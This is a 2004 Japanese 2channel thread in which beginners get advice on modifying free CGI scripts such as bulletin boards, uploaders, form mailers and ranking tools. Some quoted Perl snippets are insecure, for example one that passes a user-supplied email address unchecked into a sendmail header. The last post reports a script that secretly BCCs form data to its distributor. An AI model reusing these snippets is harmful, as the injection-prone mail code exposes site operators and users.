dream.cgiのsub get_timeでlocaltimeを[1..5]だけ受けているから曜日の分も
受け取って使えばいいだけ

95:nobodyさん
04/04/26 01:10
>>93
投稿画面が別のページの改造版ってどれのことだ?
それに改造したコードも晒さずに言われても間違っているか足りないから
としか言いようがない

96:93
04/04/26 01:39
あ。
ここの
URLリンク(www.handley2.fsnet.co.uk)
violet diaryってやつです。

97:nobodyさん
04/04/26 02:00
で、ログに追加する$nameっていうのはどうやって得ているんだ?
sub decodeを見ればわかるがフォームに追加した項目に相当する
$in{'キー'}に入っている値を$nameへ代入しているのか?

98:nobodyさん
04/04/26 02:39
スクリプト:PHPぁぷろだ(シンプル版)
ソース:URLリンク(php.s3.to)
     up.zip内のupload.php
配布元:URLリンク(php.s3.to)
ヘルプ内容:
元の仕様ではダメ文字(ソや表など)をファイル名に入れると
拡張子より前のファイル名が消えてしまいます。
例:ソース.jpg → .jpg

↓ここでは消えてしまいます
URLリンク(php.s1.xrea.com:8080)

しかしながら、このスクリプトを使ってこの問題を回避している
サイトを見つけました。

↓ここでは消えません
URLリンク(cgi.f7.aaacafe.ne.jp)

このように消えないようにするにはどのように改造をすれば良い
のでしょうか。
文字列をいじるのか、エンコード設定をいじるのか・・・イマイチ
良く解っておりません。

よろしくお願いします。

99:nobodyさん
04/04/26 02:44
>>98
配布元に「バグ報告、要望、その他突っ込みは掲示板へどうぞ 」と書いてあるが

100:98
04/04/26 02:45
慌てて微妙にリファ切り抜けてました・・・トホホ

101:98
04/04/26 02:50
>>99
深夜に即レスありがとうございます。

配布元で聞いてみます。

102:nobodyさん
04/04/26 17:35
【.  CGI名  .】 One Line BBS

【配布先URL】 URLリンク(dream.lib.net)

【ヘルプ内容】

ここの一行掲示板、レスが古い順に並ぶようになっているのですが、
これを新しい順に並ぶように改造できませんでしょうか。

103:nobodyさん
04/04/26 17:45
>>102
できますがそれがどうかしましたか?





(´-`).。oO(ここは丸投げスレじゃないからなぁ…)

104:103
04/04/26 17:54
過疎板だからお客さんは大事にしないといけないなと反省。

>>102
スレリンク(php板:110番)
ここで>>102と同じ依頼をしている香具師がいる。
スレリンク(php板:111-120番)
あたりを参考にすれ

105:102
04/04/26 18:25
>>103=104
どうもすみません、ありがとうございます。
参考にします。

106:nobodyさん
04/04/27 01:41
(103はいいやつだなあ

107:nobodyさん
04/04/27 23:57
なんか微笑ましいな。。。

108:ken ◆fmJRnC5rvE
04/05/02 11:01 DCaidvkb
配布先:URLリンク(dream.lib.net)に配布されているICHAT
ソース:URLリンク(com.s66.xrea.com)
改造してほしい内容:
参加者表示の部分を
名前(状態):名前(状態)
というように状態(ROM等)を表示させたいと思っています。

109:nobodyさん
04/05/02 11:08
>>108
ここは自分で改造する人がアドバイスを受けるスレ。

■ 自分で改造できない場合には
【 スクリプト改造依頼スレ 】(丸投げ)
スレリンク(php板:324番)(テンプレ)

110:nobodyさん
04/05/08 15:03 jodQmWfe
WebProg初心者から流れてきました。お願いします。
プロフィール登録CGIを探しています。 がらくたBOOK(URLリンク(tinkle.cside.com))さんの「すぽっとりんく」に画像アップロード機能が無かったので、
とほほさんのところで配布している「wwwupl2」を組み込んでみようとしたのですがうまく出来ません。

本来ならバナー登録部分に「<INPUT type=\"file\" name=\"AAA\" size=\"40\">」として直接アップさせたかったのですが、うまく動作しませんでした。
そこで、ちょっと方法を変えいくつかの実験をしてみました。
まず、「wwwupl2」を丸々コピーして「spotlink.cgi」内に「sub up{ }」として記入。(もちろん#!/usr/local/bin/perl等は削除)
元々の登録サブルーチン「sub new_entry { }」を「sub new_entry_of_main { }」として退避。
新しく登録サブルーチン「sub new_entry { }」を作り、
print "<FORM method=\"$method\" enctype=\"multipart/form-data\" action=\"$script\"><BR>\n";
print "<input type=hidden name=mode value=\"up\">\n";
print "<INPUT type=\"file\" name=\"AAA\" size=\"40\"><BR>\n";
print "<INPUT type=\"submit\" value=\"送信\"></FORM>\n";
(一部抜粋)を作成。
メインプログラムに「 elsif ($mode eq "up"){&up;} 」を追加。
でも、こうすると、送信を押してもトップ画面(一覧を表示する通常表示画面)に行ってしまいます。
で、何が悪いのかが良くわからなかったため、
<FORM method=\"$method\" enctype=\"multipart/form-data\" action=\"$script\">
これを
<FORM method=\"$method\" action=\"$script\">
こうすると、ファイルはアップされないのですが、「sub up { }」に移動します。(「下記のファイルを受け取りました」だけ表示。)
一体どうしたら良いのでしょうか?
中途半端ですが、ファイルをアップします。
URLリンク(www.geocities.co.jp)
出来るなら、バナー登録部分を「<INPUT type=\"file\" name=\"AAA\" size=\"40\">」として直接アップする方法を教えていただきたいです。
お願いします。

111:nobodyさん
04/05/08 17:50
>>110
multipart/form-data をデコードしていないから。
CGI.pm でも入れてみれば?

(´-`).。oO(相変わらずグタグタやねぇ。。。> と)

112:>>110
04/05/09 01:15
>>111
返答ありがとうございます。
>CGI.pm でも入れてみれば?
って事なんですけど、とりあえず、CGI.pmは同じフォルダに入れました。
で、
require './CGI.pm';
として見ましたが状況に変化無しです。
何がいけないのでしょう。
お願いします。



113:nobodyさん
04/05/09 01:47
もじゅーるロードは use を使う。
use CGI;

perldoc -m CGI

114:nobodyさん
04/05/09 04:37
Yomi-Search
モバイル型

115:nobodyさん
04/05/09 04:41
>>114
それがどうかしましたか?

116:nobodyさん
04/05/09 04:58
>>115
丸投げスレじゃないのに丸投げしちゃいました
丸投げスレでもこれじゃあ叩かれますが・・・すいませんでした

117:>>110
04/05/09 11:37
>>113
またまた返答ありがとうございます。
やはり状況に変化無しです。
何か根本的に間違っているのでしょうか…
ファイルアップして置きます。

URLリンク(tool-ya.ddo.jp)

CGI.pmのパーミッションは644でいいですよね?

118:nobodyさん
04/05/09 11:59
>>117
perldoc -m CGI ;

おいおいおーい

119:>>110
04/05/09 12:17
>>118

??
ごめんなさい。まったく意味がわからないのですが、不必要って事なんですか?

120:nobodyさん
04/05/09 12:31
>>119
うむ、
コマンドで打ち込んでごらん、説明が出るから

121:nobodyさん
04/05/09 12:34
perlがインストールされてるマシンで
perldoc -m CGI
で、CGI.pmについての解説が読める。

つまり、それを読んでdecode部とかをmultipart/form-dataを処理するように自分で書き換えましょう、と。
sub decodeで何をやってるか理解できる程度の知識は必要だな。
あ、一応言っておくが、数行追加した程度では無理だぞ。数十行の書き換えが必要。

122:nobodyさん
04/05/09 12:36
それにCGI.pmは標準モジュールぢゃ。
わざわざ>>119がUPする必要も無かろう。

123:nobodyさん
04/05/09 12:42
ついでに
use CGI;
の下に
use CGI::Carp qw(fatalsToBrowser);
と書いておくがよい。
素人には役に立つおまじないぢゃ。

124:>>110
04/05/09 13:04
>>121
何度も回答ありがとうございます。

>sub decodeで何をやってるか理解できる程度の知識は必要だな。
えーと、理解出来てるわけではないので無理だと思います。(T.T)

何度かのやり取りでわかっていただけるかと思いますが、私に出来る事と言えばせいぜい他のCGIから
コピペして帳尻を合わせる程度です。

方法を丸々教えていただくわけには行かないでしょうか?
宜しくお願いします。



125:nobodyさん
04/05/09 13:36
>>124
だから CGI.pm を読みましょうと云っているわけです。
ここはそういう主旨のスレッドですから。

126:>>110
04/05/09 13:55
>>125
では、もう少し努力して見ます('◇';ゞ

>perlがインストールされてるマシンで
>perldoc -m CGI
>で、CGI.pmについての解説が読める。

これは自分のPCでと言う事ですか?それともレンタルサーバでって事でしょうか?
・・・
えーと、バカな事やってるなぁって笑わないでくださいね(;´Д`)
コマンドプロンプト(XP)からCGI.pmがある場所に移動して「perldoc -m CGI」ってやって見ましたが
だめでした。

借りてるサーバはロリポップです。どこでどうしたら良いのでしょう?
お願いします。

127:nobodyさん
04/05/09 14:10
CGI.pm multipart でググれ

128:nobodyさん
04/05/09 17:04
>>126
おまいはローカルに開発環境が無いのか?
まさか、
ローカルでスクリプトを編集→FTPでUP→500エラー→(◎_◎) →最初に戻る
してるんじゃないのか?

行き詰ったらこちらへどうぞ。
【 スクリプト改造依頼スレ 】(丸投げ)
スレリンク(php板)l50
優しい神様が居られるといいですね♥

129:>>110
04/05/09 22:38
>>128
>ローカルでスクリプトを編集→FTPでUP→500エラー→(◎_◎) →最初に戻る
その通りです(T^T)

【 スクリプト改造依頼スレ 】(丸投げ) に逝ってきます。

130:ぷーた
04/05/09 23:44 zdsKN9LG
カウントアップするときに数値を1~9の間でランダムにカウントアップ
させたいのですが、どうすればよいのかわからないのですがだれか教えてくれませんか?

if ($voteflag){
open (IO,"+<$datadir/$id.dat");
eval{flock(IO,2)};
@temp1 = split(/<>/,<IO>);
@temp1 = split(/<>/,&backupload($id)) if $temp1[0] eq "";
if ($temp1[0] ne "datamissing"){
#$temp1[0] = time();
$temp1[11]++;
$temp1[13]++;
$temp1[15]++;
truncate(IO,0);
seek(IO,0,0);
foreach(@temp1){print IO $_."<>";}
close(IO);
}else{
close(IO);
&syslog("AUTO","<font color=purple>データ消失(ID:$id)</font>");
&dataerase($id);
}
}


131:nobodyさん
04/05/09 23:59
$count+= substr('123456789', int(rand(9)), 1);

132:ぷーた
04/05/10 00:20 J17kBtwc
どうもです。 早速やってみます。

133:ぷーた
04/05/10 00:29 J17kBtwc
う~ん上記のスクリプトにどう埋め込んだらよいかわかりません。。
だれか助けて。。

134:nobodyさん
04/05/10 00:42
datのうち、どの部分が「カウント」なのか分からんとどうしようもない。
っつうか、勉強する気がない奴は丸投げスレへ。

135:お願いします
04/05/10 22:25 VaFCZTZV
URLリンク(www.booboo.ne.jp)
にある、BooGetData ver1.00というスクリプトについてアドバイスをお願いします。

このスクリプトは、フォームから受け取ったデータを
CSVファイルに追記保存していくというものです。

このスクリプトに、
・書込むCSVファイルの内容が消えないようなファイルロック機能と、
・管理者へフォームから受け取ったデータをメールで送信する機能を
つけたいと思っています。
flock関数やsendmailの使い方がよくわからないので出来ませんでした。
perlを初めてからまもなく知識には乏しいですが、
頑張って理解していこうと思いますのでお願いします。

ファイルアップしておきます。
URLリンク(tool-ya.ddo.jp)

136:お願いします
04/05/10 23:20
自分でファイルロック処理だけ書いてみたのですが、
112行目からを

sub outputdata{
# 現在の時間を取得
($sec,$min,$hour,$day,$mon,$year) = localtime(time);
$mon++;
$year += 1900;
$stmp = sprintf("%04d/%02d/%02d-%02d:%02d:%02d",$year,$mon,$day,$hour,$min,$sec);

open (DAT,">>$output");
&body;
flock(DAT,2);
print DAT "$body,$stmp\r\n";
flock(DAT,8);
close (DAT);
}

こうしてみました。これだけでいいのでしょうか?

137:お願いします
04/05/10 23:20
すみません、間違えました…
112行目からじゃなくて102行目からでした。
逝ってきます。

138:nobodyさん
04/05/10 23:31
>>136
>flock(DAT,8);
これはいらない。

sendmailのサンプルはすぐ見つかるからがんばれ。

139:nobodyさん
04/05/10 23:46
追加書き込み(>>)ならファイルロックしなくても普通は飛ばないけどね。
&bodyはopenの前にしておいた方がいいと思う。
みんなが使うファイルを手に持ったまま関係ない仕事をするのはマナーが悪い。

140:お願いします
04/05/11 00:12
>>138-139
ありがとうございます。flock(DAT,8)を消すのと、
&bodyの位置を変えます。

正直なところ、&bodyがなんなのかすらわかってません(T-T)

141:お願いします
04/05/11 01:44
色々調べつつ下記の様に書いて見たんですが、全然メール来る気配なしです。
何が間違ってるのか全然わかりません。

sub outputdata{
# 現在の時間を取得
($sec,$min,$hour,$day,$mon,$year) = localtime(time);
$mon++;
$year += 1900;
$stmp = sprintf("%04d/%02d/%02d-%02d:%02d:%02d",$year,$mon,$day,$hour,$min,$sec);

&body;
open (DAT,">>$output");
flock(DAT,2);
print DAT "$body,$stmp\r\n";
close (DAT);

#メール送信
$myaddress = 'xxx@xxxx.com';
open(MAIL,"|$sendmail $myaddress");
print MAIL "Subject: title\n";
print MAIL "$body,$stmp\n";
close(MAIL);
}
これではダメなのでしょうか?

142:nobodyさん
04/05/11 02:44
>>141
sendmail へのパスが設定されていないから?> $sendmail の中身は?
あと、 man sendmail して使用上の注意をよく読んでお使い下さい。

143:nobodyさん
04/05/11 09:29
>140
サブルーチン。調べてみるとひとつレベルが上がると思う。
とりあえずsub bodyでファイル内を検索してみな。

sendmailについては使えない鯖も多い。
どのみちsendmailのパスが分からないと使えないので、ページ置いてる鯖のFAQとかを嫁。

144:お願いします
04/05/11 13:56
$sendmailのパスは上の方に書いてあります…。
今はWIN機で書いているので、
$sendmail

145:nobodyさん
04/05/11 19:44
print MAIL "Subject: title\n";

print MAIL "From: $myaddress\n";
print MAIL "To: $myaddress\n";
print MAIL "Subject: title\n\n";
に書き換え、でどうよ。

146:nobodyさん
04/05/11 19:53
いや、
open(MAIL,"|$sendmail $myaddress");
ここが間違ってないか?

とあるスクリプトの該当部分を貼っておく
参考しる

open(MAIL,"| $sendmail -t") or &error("sendmailの起動ミス");

print MAIL "To: $mailto\n";
print MAIL "From: $mailfrom\n";
print MAIL "Subject: $subject\n";
print MAIL "Content-Transfer-Encoding: 7bit\n";
print MAIL "Content-Type: text/plain; charset=iso-2022-jp\n";
print MAIL "\n\n";
print MAIL "$body\n";

close(MAIL) or &error("メールの送信ミス");


147:nobodyさん
04/05/11 19:58
>146
sendmail -t
To: hogehoge@hoge.com
(略
と、
sendmail hogehoge@hoge.com
To: hogehoge@hoge.com
(略
は全く同じ。sendmail -tの"-t"の意味、分かってないだろ。
ま、鯖側で-tオプションをつけて起動する事を義務付けてる可能性も無くはないけどな。

148:146
04/05/11 20:08
>147
意味わかってなかった。ありが㌧

149:お願いします
04/05/14 01:20
色々な助言ありがとうございます。
自分なりにも色々いじってみたんですが、
どうしても出来ませんでした。

今やってたのは「フォームから受け取った
データをCSVに保存するCGIにメール機能をつける」
だったんですが、考え直しまして、
「普通のフォームメールにCSV保存機能をつける」
に方向転換しようかと思います。
こっちの方が簡単なんじゃないかと…

150:nobodyさん
04/05/14 01:31
まあそうしたいならそれでもいいけど。
できなかったでやめていたらいつまでたってもできないぞ。
それに何がどうできなかったか書かなければアドバイスだってしようがない。

151:nobodyさん
04/05/16 08:38
質問させていただきます。
KENTWEBで配布しているYYCHATなんですが、
発言の文中にURLが表記されたときに自動にリンク貼れるように改造したいのですが、

if ($com) { $com ="<a href=\"$com\" target=\"_blank\">$com</a>\n";} (397行目あたり)

というスクリプトにすると普通の文章までリンクしようとしてしまいます。
URLだけリンク貼れるようにするにはどの辺りを直せばいいのでしょうか?
よろしくお願いします。

152:nobodyさん
04/05/16 09:09
お前面白いな
ネタにマジレス
URLだけならURLを抜き出せ
当たり前だろ

153:nobodyさん
04/05/16 09:13
>>151
ここは丸投げスレじゃないから厳しいぞ。
>>152ほどじゃないがな

どぞ↓
URLリンク(www.google.com)

154:151
04/05/16 10:17
ありがとうございました。
>>153さんのアドのところから調べて無事解決できました。
もっとよく調べてから聞くべきでした(´・ω・`)

155:nobodyさん
04/05/16 17:51
■ 設置の方法がわからない場合には
CGI設置について質問
スレリンク(php板:15番)(テンプレ)

■ 自分で改造できない場合には
【 スクリプト改造依頼スレ 】(丸投げ)
スレリンク(php板:324番)(テンプレ)

■ 自分で改造するアドバイスが欲しい場合には
★三 【 スクリプト改造工房 PART 8 】 ★三
スレリンク(php板:79番)(テンプレ)

156:nobodyさん
04/05/17 14:13 HUxEX/E5
KENT WEBのショッピングカートcgi「Shopping Cart」を
設置しました。無事機能してます。

で、新規追加の画面から販売物を追加していくと、トップの販売画面に

□ □
□ □
□ □...

と言うように販売物のテーブルが追加されていくんですが、
これを、2列折り返しでなく、1列にするにはどーすればいいんでしょうか?
単純にどっかに改行タグ入れればいいんだと思うですが....

157:nobodyさん
04/05/17 15:09
505 :nobodyさん :04/05/14 19:29 ID:AHTH/fbA
KENT WEBのショッピングカートcgi「Shopping Cart」を
設置しました。無事機能してます。

で、新規追加の画面から販売物を追加していくと、トップの販売画面に

□ □
□ □
□ □...

と言うように販売物のテーブルが追加されていくんですが、
これを、2列折り返しでなく、1列にするにはどーすればいいんでしょうか?
単純にどっかに改行タグ入れればいいんだと思うですが....

スレリンク(php板:505-番)

158:nobodyさん
04/05/17 15:23
506 :nobodyさん :04/05/14 19:53 ID:???
スレ違い。
というかHTMLすら分からないようであればCGIの改造は到底無理。
素直に諦めるか勉強しろ。


159:156
04/05/17 22:36 UCKt7Cge
誘導されたので来たのですが。。。

160:156
04/05/17 22:37 UCKt7Cge
それじゃ次は丸投げ行きます!(予告)

161:nobodyさん
04/05/17 22:40
誰がどこで誘導したのか知らんが来る場所は間違っていないか?

162:nobodyさん
04/05/17 23:09
URLリンク(www.206.usn.ac)

ここで勉強する!

163:座敷荒氏
04/05/22 19:14
教えてくださいませm(_ _。)m
以下、内容を自分宛にメールで送信する部分です。
「$in{'_email'}」は相手のメアドをFrom:にしないで、
本文のほうに載せたい場合どうしたらいいのでしょうか?
**************************
if (!open(OUT,"| $sendmail -t")) { &error("異常停止","$!","back"); }

print OUT &jis("X-Processed: $date_now\n");
print OUT "X-SENDER: $REMOTE_HOST\[$REMOTE_ADDR\]\n";
print OUT &jis("X-AGENT: $HTTP_USER_AGENT\n");
print OUT "From: $in{'_email'}\n";
print OUT "To: $mailto_order\n";
print OUT &jis("Subject: $mail_subject [$date_num]\n");
print OUT "Content-Transfer-Encoding: 7bit\n";
print OUT "Content-Type: text/plain; charset=iso-2022-jp\n\n";

print OUT "\n";
foreach (@in) {

s/"/"/g;
s/&/&/g;
s/</</g;
s/>/>/g;

if (/^\.\t(.*)/) { print OUT &jis("$1\n"); }
elsif (/(.*)\t(.*)/) { print OUT &jis("[$1] $2\n"); }
}
print OUT "\n";

print OUT &jis("$sign\n");
close(OUT);
**************************

164:nobodyさん
04/05/22 21:58
>>163はマルチなので放置

165:座敷荒氏
04/05/22 22:39
放置とかやめた方がいいぞ?

166:nobodyさん
04/05/22 23:14
なんでよ。

167:nobodyさん
04/05/22 23:28
名前からしてまともなやつじゃないとわかるから放置。

168:座敷荒氏
04/05/22 23:44
へんなやつー

169:nobodyさん
04/05/23 23:30
自己分析来た

170:nobodyさん
04/05/28 10:57
phpの掲示板にテキスト広告をランダムに表示させるスクリプトキボンヌです。

171:nobodyさん
04/05/28 11:22
>>170
板違いだハゲ

172:nobodyさん
04/05/28 16:02
丸投げに行った方がいいような初心者ですがちょっと聞いてください。

・スクリプト名:PHP JoyfulNoteのgdバージョンtype2
・配布もと:鏡の国さん(URLリンク(script.s16.xrea.com)

・いじろうとした事:
 ・オリジナルではアップされた画像のファイル名が「番号.jpg」になるのを
  「up0001.jpg」のような「ヘッダ+桁揃えされた番号.jpg」に。(成功)
 ・サムネイルのファイル名を、アップされた画像のファイル名と別にする。(成功)
 ・CSSをいじってデザインの変更

・作業手順:テキストエディタで一括置換したりコピペで置換したりしながら
 FTPでアップして確認。PHPは全然知らないのでネットで検索して試行錯誤。

・問題点:スレッドの先頭の投稿で本文が勝手に改行される。そういう処理に関わる所をいじった覚えはないはず。レスの投稿は正常。
改行が生じる場所は本文の長さによって違う。長い文程後の方で改行が生じる。
二文字だと一文字目の後で改行される。

・質問:なぜ問題点のような事が生じたのかわからないのですが、どのへんがどうおかしくなっている可能性があるのか心当たりございましたら教えてください。

173:nobodyさん
04/05/28 17:17
>>172
改行されるタグが入っているからだろ

174:nobodyさん
04/05/28 20:05
どこをどういじったか分からないことには答えようがないよ。
「変にいじった覚えはない」なんて言われても信用できない。

175:nobodyさん
04/05/28 20:06
どこをどういじったか分からないことには答えようがないよ。
「変にいじった覚えはない」なんて言われても信用できない。

176:nobodyさん
04/05/28 20:45
>>174
その通りですね。
パスワードとか消した上でどこかにアップします。

なお、余計なおせっかいですが現在2chが鯖移管の関係?とかで混んでいるらしく、
書き込めていてもタイムアウトエラーになったりして二重書き込みになりやすい状態です。ご注意ください。

177:nobodyさん
04/05/28 21:54
>>176
なぜ改行されてしまったソースを調べない?
HTMLもわからんのか?

178:nobodyさん
04/05/29 01:27
>>177
ヒントありがとうございます。
<br>が勝手に挿入という事はありませんでした。
一度全部の書き込みを削除したら再現されません。
?????

179:nobodyさん
04/05/29 01:33
やっぱり起きました。
しかし別のブラウザで見ると正常です。何だこれ。。

180:172,176,178,179
04/05/29 01:58
細切れの書き込みですいません。<BLOCKQUOTE>が犯人のような気がします。
テーブルとの組み合わせが問題なのかも。
特定ブラウザの問題かな・・。オリジナルのスクリプトにもあった問題かも。
問題の方向が分かったので次は結論を出してから書き込みます。

181:172,176,178,179
04/05/29 03:25
元からあった問題のようだという事でオリジナルのスクリプトと差し替えて試した所やはり同現象が生じました。テーブルとBLOCKQUOTEの組み合わせでレイアウトしてあるために特定のブラウザで問題が生じるという事のようです。
例えば問題の起きた書き込みの部分は下記のようですが、
「ど」の次で改行されて、タテ書きのようになります。四文字でも完全にタテ書くになりました。
この部分のみを<html><body></body></html>で囲んだhtmlファイルを作って該当ブラウザで開いても同じ現象が置きました。テーブルのみ、blockquoteのみでは生じませんでした。
blockquoteを抜いて同じようなレイアウトができないか考える事にします。

</TABLE>
<TABLE border=0 cellpadding=5>
<TR>
<TD><BLOCKQUOTE><FONT color="#000000">どう</FONT></BLOCKQUOTE></TD>
</TR>
</TABLE>

182:nobodyさん
04/05/29 18:43
HTML はその名の通りマークアップするものです。
レイアウトは CSS でおながいいたします。
ちなみに blockquote は長文引用、font は非推奨です。
凡例:
TD.quote { padding: 1.0em 1.0em 1.0em 3.0em; color: #000; background: transparent; white-space: nowrap; }
<TD class="quote">どう</TD>

183:nobodyさん
04/05/29 21:11
スレ違いに優しいスレだな。

184:172,176,178,179
04/05/30 03:29
引っ込むつもりでしたがレス頂いたのでまたのこのこ出てきますた。

>>182
あい。わかりますた。例まで書いて頂いてありがとうございます。

ところでもしTableも使わないとしたらちょっと大変そうですね。
<div></div>だらけになっておこられるかなー。。

185:nobodyさん
04/06/01 00:36
>184
スレ違いだがCSSを侮らない方がいい。
掲示板に要求される程度のレイアウトは余裕でできる。というか実際作った事がある。

tableでのレイアウトをしていないサイトは案外多いぞ。
たとえば「はてなダイアリー」の本文の部分はtableを一切使っていない。

186:京阪マソ ◆0atqBUamHk
04/06/04 01:36 /BQPM3QN
はじめまして、現在アッハン掲示板を利用して
サイトを運営しているのですが、下記のように改造したくて
こちらにうかがわせていただきました。
URLリンク(keihanman.s53.xrea.com)

どのように改造したいかというと現在、大阪府全体を
扱った掲示板になっているのですが、掲示板中ほどに
地域別に分けたリンク集を表示したい、
なおかつそのリンク先に書き込みがあるごとに
所属した地域リンク集の中の一番上に表示されるようにしたいのです。

このようなことは可能でしょうか?

187:nobodyさん
04/06/04 01:38
■ 自分で改造できない場合には
【 スクリプト改造依頼スレ 】(丸投げ)
スレリンク(php板:324番)(テンプレ)

■ 自分で改造するアドバイスが欲しい場合には
★三 【 スクリプト改造工房 PART 8 】 ★三
スレリンク(php板:79番)(テンプレ)

188:京阪マソ ◆0atqBUamHk
04/06/04 01:54 /BQPM3QN
>>187
申し訳ありません、向こうで依頼してきました。

189:nobodyさん
04/06/05 17:38 ooKajGIS
失礼します。現在THE ROOMの機種別振り分けCGIを使っています。
Mobile Jumper
URLリンク(dream.lib.net)

これをDOCOMOならムーバとFOMA、AUならムーバとWIN、Vodaはパケと非パケ
といった風に分けたいのですが、現在更新も止まっておりサポートも止まっています。

端末別振り分けの項目があるのですが、
そこに機種名を書いてもうまく振り分けてくれません。
よろしくお願い致します。

190:nobodyさん
04/06/05 18:01
>>189
スレ違い

191:nobodyさん
04/06/05 18:06
すぐ上が読めない人には、きっとすぐ下も読めないだろう。

192:nobodyさん
04/06/05 18:11
(´・ω・)

193:nobodyさん
04/06/05 18:12
>>189
お前は

■ 設置の方法がわからない場合には
CGI設置について質問
スレリンク(php板:15番)(テンプレ)


194:グレ
04/06/07 17:59 /GUEYbCQ
THE ROOMのRanking Link Ver.1.86携帯端末用
URLリンク(dream.lib.net)

をEZWEB(WIN)にも対応させたいんですが、
WIN端末からOUTはカウントするんですけどINがカウントされません。

ranking.cgiの
106行目以降の変更だと思うのですが、なかなかうまくいきません。
わかる方よろしくです。

195:nobodyさん
04/06/07 19:21
>>194
丸投げへ。

196:nobodyさん
04/06/07 19:36
>>195
>>194はヒントだけ欲しいんじゃないかな?
だったらこのスレでもいいと思うぞ。

197:グレ
04/06/07 20:11 /GUEYbCQ
>>194
×ranking.cgi
○ranklink.cgi でした。
106行目以降

if ($vote_terminal == 0){$voteflag = 1;}
else{
$a1 = $ENV{'HTTP_USER_AGENT'};
if (($a1 =~ /^DoCoMo\//) ||
($a1 =~ /^J-PHONE\//) ||($a1 =~ /^UP\.Browser/) ||
($a1 =~ /^ASTEL\//) ||($a1 =~ /^
PDXGW\//)){
if ($vote_terminal == 1){$voteflag = 0;}else{$voteflag = 1;}
}
elsif ($vote_terminal == 1){$voteflag = 1;}else{$voteflag = 0;}
}

となっているんですが、
($a1 =~ /^UP\.Browser/)
ではムリなんでしょうか?

どうもEZweb対応にするのが難しくて・・・。

198:未承諾広告※ ◆TWARamEjuA
04/06/07 20:26
>>197
URLリンク(www.au.kddi.com)
このあたりを眺めてみる。
($a1 =~ /^UP\.Browser/)
では無理でしょうねぇ。


199:グレ
04/06/07 21:06 /GUEYbCQ
>>198
ありがとうございます!!
無事WINでもカウントしました!!

200:nobodyさん
04/06/07 21:10 UI3v3779
みたびスレ移動で質問

掲示板CGIにアクセス解析CGIを組み込みたいと思ってます。
Bodyの中にタグとして書き出すのでなく、CGIの中で完結させたい
(ソースを見てもわからないようにしたい)のですが、
具体的にどのようにすればいいのでしょうか。
サブルーチンで解析CGIを呼び出す、というヒントは読んだのですが
呼び出しの記述の仕方がわかりません。
なんとなくこんなふう書くのではないかと思うのですが↓

sub access {
  ??? = './acc/acc.cgi?a=b&&c=d';
}

どなたかアドヴァイスおねがいできませんか!


201:nobodyさん
04/06/07 22:13
突然の投稿での失礼をお許し下さい。

KentWebで公開されているWeb Patio というBBSに、
ID機能を付けたいと思っております。
理由は、自作自演などの投稿をある程度防ぐためなので、
IPアドレス、Cookieのどちらを元に作成するID機能でも構いません。

大変申し訳無いのですが、もしご教示いただけたら大変有難いです。

スクリプト配布元: URLリンク(www.kent-web.com)



202:nobodyさん
04/06/07 22:21
IPかホストをcryptでもして名前の後ろに結合しておけ

203:nobodyさん
04/06/08 00:29
どれにあてはまるかよく考え、各スレにテンプレを使って質問・依頼するように

■ 設置の方法がわからない場合には
CGI設置について質問
スレリンク(php板:15番)(テンプレ)

■ 自分で改造できない場合には
【 スクリプト改造依頼スレ 】(丸投げ)
スレリンク(php板:324番)(テンプレ)

■ 自分で改造するアドバイスが欲しい場合には
★三 【 スクリプト改造工房 PART 8 】 ★三
スレリンク(php板:79番)(テンプレ)

204:nobodyさん
04/06/08 16:50
このcgiを改良してください。
作者さんによると無用な負荷を与えるそうなので。
URLリンク(www.coara.or.jp)

205:204
04/06/08 16:53
スレ違いでした。
逝ってきます。

206:未承諾広告※ ◆TWARamEjuA
04/06/08 20:27
>>204
こういうのって初めて見たけれども力業で解析しているのね。ちょと感動した(w

207:200
04/06/09 04:21 siBsh0Gf
>>200 ですがこのように
cgiでcgiを呼び出して使ってる方はいないでしょうか?
requireでもopen(<IN>, "**.cgi")でも駄目でした。
ヒントだけでもよいのでおねがいします。

208:nobodyさん
04/06/09 04:41
`

209:nobodyさん
04/06/09 06:08
>>207
スレ違い
>>1>>79をよく読め

210:nobodyさん
04/06/09 06:39 siBsh0Gf
>>209
初心者の質問スレでは煽られたのみで
Perlコーディング初心者の質問スレでは改造スレで聞いたほうがいいと言われ
ここに来たのですが、
組み込みたい解析cgiと組み込み先の掲示板cgiをURLで紹介すればいいということでしょうか?
そちらのほうが人に手間をかけると思ったのですが・・・

211:nobodyさん
04/06/09 06:50
簡単に教えてやる。

初めから他のCGIに組み込む前提で作られていないCGIを
お前がやろうとしている方法でそのまま使うことは無理。

212:210
04/06/09 06:57
>>211
解析cgi配布先には、できるようなことが書いてあったのですが(具体法はなし)
複雑になってくると書いてあったので、相当難しいのでしょうかね・・・
ともかくレスありがとうございます。

あちこちに誘導されてあたかもマルチのようになってるので
こちらの質問は取り下げてPerl初心者スレで聞きます。

213:208
04/06/09 17:05
>>207
もういないと思うけど、一応言っておくぞ。

お前は「ヒントだけでもよいのでおねがいします」って言ってたのでヒントを教えてやったのに私のことは無視ですか?

> 組み込みたい解析cgiと組み込み先の掲示板cgiを…(ry
まあなんだな、最初に丸投げスレで、テンプレに添って上記の依頼をしていたら、今頃君はHappyになっていただろう。

そんなに難しいわけでもないからな。
つーか、そこそこ勉強すればすぐできるレベルだから、これを機会に勉強すればいいぞ。

214:nobodyさん
04/06/11 12:13 nOPYLa/M
COMCHATのROM表示なのですが
@data(全参加者数)から$num(参加者数)を引けば良いとのことなんですが
どぉ弄れば良いのかさっぱり分かりません
何方かご教授お願いいたします。


215:nobodyさん
04/06/11 12:32
>>214 君には改造は無理のようだ。諦めれ。

216:nobodyさん
04/06/11 19:20
>>214
同じような改造依頼が過去何件もあった。
だが、いまだかつて改造ができたケースは無い。
なぜなら、ROMというのが(全参加者数)から(参加者数)を引けば良いといえないからである。

217:214
04/06/11 20:24
>>216
アドバイスありがとうございます。
相当敷居が高そうですね;;


218:nobodyさん
04/06/11 20:34
>>217
おまいさん、ちょっと思い違いしているかもしれない。
改造が難しいとは言ってない。
改造するに値しないといっている。
なぜなら、ROMというのが(全参加者数)から(参加者数)を引けば良いといえないからである。
ROMというのはどういう状態なのかを定義できないからである。
>>217はROMというのはどういう状態か定義できるのか?
ならば道は開かれよう。

219:nobodyさん
04/06/11 21:38
とあるCGIスクリプト本文の中に、 送ってもらうフォーム内容を
スクリプト配布元のメールアドレスにもBCCで送信する構文が入っているものがありました。
そしてフォームHTML内にはスクリプト配布元のアクセス解析のGIF画像まで。

URLリンク(web-up.cside.biz)

URLリンク(ringoch.nekoruri.jp)
URLリンク(alpha.ringoch.info)
URLリンク(gateway.ringoch.info)
URLリンク(ringoch.dayomon.net)
